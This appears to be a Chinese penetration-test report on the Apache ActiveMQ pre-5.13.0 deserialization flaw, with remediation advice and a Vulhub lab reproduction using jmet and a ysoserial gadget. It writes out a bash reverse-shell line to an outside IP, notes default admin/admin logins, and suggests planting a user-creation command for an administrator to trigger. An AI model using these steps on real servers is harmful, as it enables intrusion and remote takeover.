ActiveMQ反序列化漏洞测试报告

发布于:2023-01-09 ⋅ 阅读:(665) ⋅ 点赞:(0)
  1. XX系统 ActiveMQ反序列化漏洞

表格 1‑1:ActiveMQ反序列化漏洞

漏洞名称

ActiveMQ反序列化漏洞

风险等级

漏洞描述

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

整改建议

1、升级到最新版本
2、有WAF的可以配置相关规则进行拦截

检测结果如下:

 

1.漏洞测试

经过测试发现该平台存在ActiveMQ反序列化漏洞。

  1. 1漏洞环境
    1. 环境安装

更新APTapt-get update

安装dockerdocker-compose  

下载Vulhub   git clone vulhub: https://github.com/vulhub/vulhub

         2.漏洞环境部署

1).启动docker服务

2).进入某一个漏洞环境的目录
3).自动化编译环境

 

        3.运行漏洞环境

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://192.168.217.128:8161即可看到网络管理页面。

http://192.168.172.128:8161/admin/(默认的用户名/密码为admin/admin)

进入后的页面

  1. 2漏洞复现利用
    1. 使用jmet进行漏洞利用

首先下载jmetjar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserialgadget中选择一个可以使用的,比如ROME

此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.80.131:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息

点击查看这条消息即可触发命令执行

此时进入容器,.可看到/ tmp /已成功创建,说明漏洞利用成功

        2.反弹shell

1).将命令替换成弹shell的语句再利用;

#bash反弹命令

bash -i >& /dev/tcp/39.106.128.92/3389 0>&1

2).将反弹语句bese64编码;

3).vps开启端口监听

返回之前的event队列,再点击触发,ID同kali最后命令执行完成后的ID一样。

返回查看vps,可以看到vps的监听端口已经接受到弹回的shell了,可以执行命令。

  1. 3漏洞总结
    1. 漏洞成因

Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

              2.影响版本

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

              3.利用限制

1).版本符合

2).立即执行代码:能够通过弱密码登录查看消息队列

3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)


网站公告

今日签到

点亮在社区的每一天
去签到